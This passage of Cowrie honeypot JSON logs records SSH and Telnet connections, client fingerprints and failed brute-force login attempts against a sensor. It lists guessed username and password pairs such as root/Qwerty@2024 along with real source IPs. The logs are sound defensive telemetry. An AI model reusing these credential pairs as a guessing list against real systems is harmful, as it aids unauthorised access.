m@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:30:37.566543Z","src_ip":"173.236.141.65","session":"4fa6120139b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"iota2024","message":"login attempt [root/iota2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:30:37.609340Z","src_ip":"173.236.141.65","session":"4fa6120139b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:30:38.626363Z","src_ip":"173.236.141.65","session":"4fa6120139b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.199.16.90","src_port":55350,"dst_ip":"159.203.135.109","dst_port":22,"session":"835b83887ff1","protocol":"ssh","message":"New connection: 103.199.16.90:55350 (159.203.135.109:22) [session: 835b83887ff1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:30:39.206883Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:30:39.210646Z","src_ip":"103.199.16.90","session":"835b83887ff1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.97.101.25","src_port":36962,"dst_ip":"159.203.135.109","dst_port":22,"session":"0fa75fbb7e57","protocol":"ssh","message":"New connection: 103.97.101.25:36962 (159.203.135.109:22) [session: 0fa75fbb7e57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:30:39.413103Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:30:39.416341Z","src_ip":"103.97.101.25","session":"0fa75fbb7e57","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:30:39.434517Z","src_ip":"103.199.16.90","session":"835b83887ff1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:30:39.654538Z","src_ip":"103.97.101.25","session":"0fa75fbb7e57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":63.63959860801697,"message":"Connection lost after 63 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:30:39.973277Z","src_ip":"170.64.224.25","session":"a4ced4ab653e","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"smsgw","password":"123456","message":"login attempt [smsgw/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:30:40.351969Z","src_ip":"103.199.16.90","session":"835b83887ff1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tester","password":"123","message":"login attempt [tester/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:30:40.635773Z","src_ip":"103.97.101.25","session":"0fa75fbb7e57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:30:41.581228Z","src_ip":"103.199.16.90","session":"835b83887ff1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:30:41.876289Z","src_ip":"103.97.101.25","session":"0fa75fbb7e57","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.207.224.247","src_port":47800,"dst_ip":"159.203.135.109","dst_port":22,"session":"f237d4e189f1","protocol":"ssh","message":"New connection: 68.207.224.247:47800 (159.203.135.109:22) [session: f237d4e189f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:30:42.742096Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:30:42.746635Z","src_ip":"68.207.224.247","session":"f237d4e189f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:30:42.784651Z","src_ip":"68.207.224.247","session":"f237d4e189f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root@123.","message":"login attempt [root/root@123.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:30:42.962435Z","src_ip":"68.207.224.247","session":"f237d4e189f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:30:44.002556Z","src_ip":"68.207.224.247","session":"f237d4e189f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":48818,"dst_ip":"10.17.0.5","dst_port":22,"session":"acecb6900a3f","protocol":"ssh","message":"New connection: 8.210.75.243:48818 (10.17.0.5:22) [session: acecb6900a3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:30:47.675641Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:30:48.220007Z","src_ip":"8.210.75.243","session":"acecb6900a3f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.116.254.157","src_port":57906,"dst_ip":"10.17.0.5","dst_port":22,"session":"093c7ace209a","protocol":"ssh","message":"New connection: 154.116.254.157:57906 (10.17.0.5:22) [session: 093c7ace209a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:30:49.661660Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:30:49.665892Z","src_ip":"154.116.254.157","session":"093c7ace209a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:30:49.833399Z","src_ip":"154.116.254.157","session":"093c7ace209a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwerty@2024","message":"login attempt [root/Qwerty@2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:30:50.534589Z","src_ip":"154.116.254.157","session":"093c7ace209a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:30:51.704403Z","src_ip":"154.116.254.157","session":"093c7ace209a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"129.121.102.3","src_port":59446,"dst_ip":"10.17.0.5","dst_port":22,"session":"ee42a6ef2009","protocol":"ssh","message":"New connection: 129.121.102.3:59446 (10.17.0.5:22) [session: ee42a6ef2009]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:30:57.497768Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:30:57.506273Z","src_ip":"129.121.102.3","session":"ee42a6ef2009","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:30:57.532420Z","src_ip":"129.121.102.3","session":"ee42a6ef2009","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testftp","password":"testftp","message":"login attempt [testftp/testftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:30:57.669876Z","src_ip":"129.121.102.3","session":"ee42a6ef2009","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:30:58.699642Z","src_ip":"129.121.102.3","session":"ee42a6ef2009","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":54.8821280002594,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:31:01.056113Z","src_ip":"107.6.151.170","session":"7f1e4dfe0996","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.185.81","src_port":35478,"dst_ip":"10.17.0.5","dst_port":22,"session":"319d1c510f2d","protocol":"ssh","message":"New connection: 152.53.185.81:35478 (10.17.0.5:22) [session: 319d1c510f2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:31:08.839331Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:31:08.843712Z","src_ip":"152.53.185.81","session":"319d1c510f2d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:31:08.932571Z","src_ip":"152.53.185.81","session":"319d1c510f2d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"1234","message":"login attempt [administrator/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:31:09.322274Z","src_ip":"152.53.185.81","session":"319d1c510f2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:31:10.414136Z","src_ip":"152.53.185.81","session":"319d1c510f2d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.94.68.69","src_port":37606,"dst_ip":"159.203.135.109","dst_port":22,"session":"0d801bb463d2","protocol":"ssh","message":"New connection: 45.94.68.69:37606 (159.203.135.109:22) [session: 0d801bb463d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:31:16.249627Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:31:16.257146Z","src_ip":"45.94.68.69","session":"0d801bb463d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:31:16.465551Z","src_ip":"45.94.68.69","session":"0d801bb463d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"loko123","message":"login attempt [root/loko123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:31:17.348773Z","src_ip":"45.94.68.69","session":"0d801bb463d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:31:18.560759Z","src_ip":"45.94.68.69","session":"0d801bb463d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.176.122.24","src_port":36156,"dst_ip":"10.17.0.5","dst_port":22,"session":"afdfe0ffeed9","protocol":"ssh","message":"New connection: 122.176.122.24:36156 (10.17.0.5:22) [session: afdfe0ffeed9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:31:24.028975Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:31:24.033103Z","src_ip":"122.176.122.24","session":"afdfe0ffeed9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:31:24.297010Z","src_ip":"122.176.122.24","session":"afdfe0ffeed9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.51.138","src_port":41774,"dst_ip":"10.17.0.5","dst_port":22,"session":"16df79aa7d88","protocol":"ssh","message":"New connection: 147.45.51.138:41774 (10.17.0.5:22) [session: 16df79aa7d88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:31:24.792000Z"}
